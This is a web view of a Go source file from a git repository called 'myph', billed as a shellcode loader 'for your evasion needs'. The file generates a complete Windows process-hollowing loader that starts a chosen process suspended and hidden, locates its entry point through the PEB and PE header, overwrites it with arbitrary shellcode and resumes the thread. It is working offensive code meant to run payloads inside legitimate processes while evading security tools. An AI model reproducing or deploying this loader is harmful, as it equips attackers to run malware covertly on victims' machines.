myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

processHollowing.go (6013B)

      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 /*
      9    For more information, feel free to read this:
     10    https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don't-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf
     11 
     12    Adapted from
     13    https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
     14 */
     15 
     16 type ProcHollowTemplate struct{}
     17 
     18 func (t ProcHollowTemplate) Import() string {
     19 	return fmt.Sprintf(`
     20 import (
     21 	"encoding/binary"
     22 	"syscall"
     23 	"unsafe"
     24 )
     25 `)
     26 }
     27 
     28 func (t ProcHollowTemplate) Const() string {
     29 	return fmt.Sprintf(`
     30 const (
     31     CREATE_SUSPENDED          = 0x00000004
     32     CREATE_NO_WINDOW          = 0x08000000
     33 
     34     MEM_COMMIT                = 0x00001000
     35     MEM_RESERVE               = 0x00002000
     36     PAGE_EXECUTE_READWRITE    = 0x00000040
     37 )
     38 
     39 var (
     40 	kernel32                = syscall.MustLoadDLL("kernel32.dll")
     41     readProcessMemory       = kernel32.MustFindProc("ReadProcessMemory")
     42 	writeProcessMemory      = kernel32.MustFindProc("WriteProcessMemory")
     43 	resumeThread            = kernel32.MustFindProc("ResumeThread")
     44     WaitForSingleObject     = kernel32.MustFindProc("WaitForSingleObject")
     45 
     46 	ntdll                       = syscall.MustLoadDLL("ntdll.dll")
     47     zwQueryInformationProcess   = ntdll.MustFindProc("ZwQueryInformationProcess")
     48 )
     49 
     50 
     51 /* need to redefine this so that compile doesnt whine */
     52 type PROCESS_BASIC_INFORMATION struct {
     53 	Reserved1    uintptr
     54 	PebAddress   uintptr
     55 	Reserved2    uintptr
     56 	Reserved3    uintptr
     57 	UniquePid    uintptr
     58 	MoreReserved uintptr
     59 }
     60 `)
     61 }
     62 
     63 func (t ProcHollowTemplate) Init() string {
     64 	return ""
     65 }
     66 
     67 func (t ProcHollowTemplate) Process() string {
     68 	return ""
     69 }
     70 
     71 func (t ProcHollowTemplate) GetTemplate(targetProcess string) string {
     72 	var template = `
     73 package main
     74 
     75 __IMPORT__STATEMENT__
     76 
     77 __CONST__STATEMENT__
     78 
     79 func createProcess(processName string) *syscall.ProcessInformation {
     80     var si syscall.StartupInfo
     81 	var pi syscall.ProcessInformation
     82 
     83 	commandLine, err := syscall.UTF16PtrFromString(processName); if err != nil {
     84 		panic(err)
     85 	}
     86 
     87     err = syscall.CreateProcess(
     88 		nil,
     89 		commandLine,
     90 		nil,
     91 		nil,
     92 		false,
     93 		CREATE_SUSPENDED | CREATE_NO_WINDOW,
     94 		nil,
     95 		nil,
     96 		&si,
     97 		&pi,
     98     ); if err != nil {
     99 		panic(err)
    100 	}
    101 
    102 	return &pi
    103 }
    104 
    105 
    106 func ExecuteOrderSixtySix(shellcode []byte) {
    107     processName := "__PROCESS__"
    108     process := createProcess(processName)
    109     pHandle := uintptr(process.Process)
    110     tHandle := uintptr(process.Thread)
    111 
    112 	pointerSize := unsafe.Sizeof(uintptr(0))
    113 	basicInfo := &PROCESS_BASIC_INFORMATION{}
    114 	unusedTmpValue := 0
    115 
    116     /* Get Process Environment Block */
    117     r, _, err := zwQueryInformationProcess.Call(
    118         pHandle,
    119         0,
    120         uintptr(unsafe.Pointer(basicInfo)),
    121         pointerSize * 6,
    122         uintptr(unsafe.Pointer(&unusedTmpValue)),
    123     ); if r != 0 {
    124         panic(err)
    125     }
    126 
    127     /* Query PEB for ImageBaseAddress */
    128 	imageBaseAddress := basicInfo.PebAddress + 0x10
    129 
    130     // Get entry point of the actual process executable
    131     // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
    132     // From the PEB (address we got in last call), we have to do the following:
    133     // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
    134     // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
    135     // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
    136     // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
    137     // 5. Get the absolute address of the entrypoint by adding this value to the base executable address.
    138 
    139 
    140     // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
    141     procAddr := make([]byte, 0x8)
    142 	read := 0
    143 
    144     r, _, err = readProcessMemory.Call(
    145         pHandle,
    146         imageBaseAddress,
    147         uintptr(unsafe.Pointer(&procAddr[0])),
    148         uintptr(len(procAddr)),
    149         uintptr(unsafe.Pointer(&read)),
    150     ); if r == 0 {
    151         panic(err)
    152     }
    153 
    154     // now we can read PE header
    155 	exeBaseAddr := binary.LittleEndian.Uint64(procAddr)
    156     peBuffer := make([]byte, 0x200)
    157 	r, _, err = readProcessMemory.Call(
    158         pHandle,
    159         uintptr(exeBaseAddr),
    160         uintptr(unsafe.Pointer(&peBuffer[0])),
    161         uintptr(len(peBuffer)),
    162         uintptr(unsafe.Pointer(&read)),
    163     ); if r == 0 {
    164         panic(err)
    165     }
    166 
    167     // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
    168 	lfaNewPos := peBuffer[0x3c : 0x3c + 0x4]
    169 	lfanew := binary.LittleEndian.Uint32(lfaNewPos)
    170 
    171     // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
    172 	rvaOffset := lfanew + 0x28
    173 
    174     // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
    175     rvaOffsetPos := peBuffer[rvaOffset : rvaOffset + 0x4]
    176     rva := binary.LittleEndian.Uint32(rvaOffsetPos)
    177 
    178     // 5. Get the absolute address of the entrypoint by adding this value to the base executable address.
    179     entrypointAddress := exeBaseAddr + uint64(rva)
    180 
    181 
    182     /* overwrite process memory at entrypointAddress */
    183     r, _, err = writeProcessMemory.Call(
    184         pHandle,
    185         uintptr(entrypointAddress),
    186         uintptr(unsafe.Pointer(&shellcode[0])),
    187         uintptr(len(shellcode)),
    188         0,
    189     ); if r == 0 {
    190         panic(err)
    191     }
    192 
    193     /* trigger shellcode execution */
    194 	r, _, err = resumeThread.Call(tHandle); if r == 0 {
    195         panic(err)
    196     }
    197 }
    198     `
    199 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
    200 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
    201 	return strings.Replace(template, "__PROCESS__", targetProcess, -1)
    202 }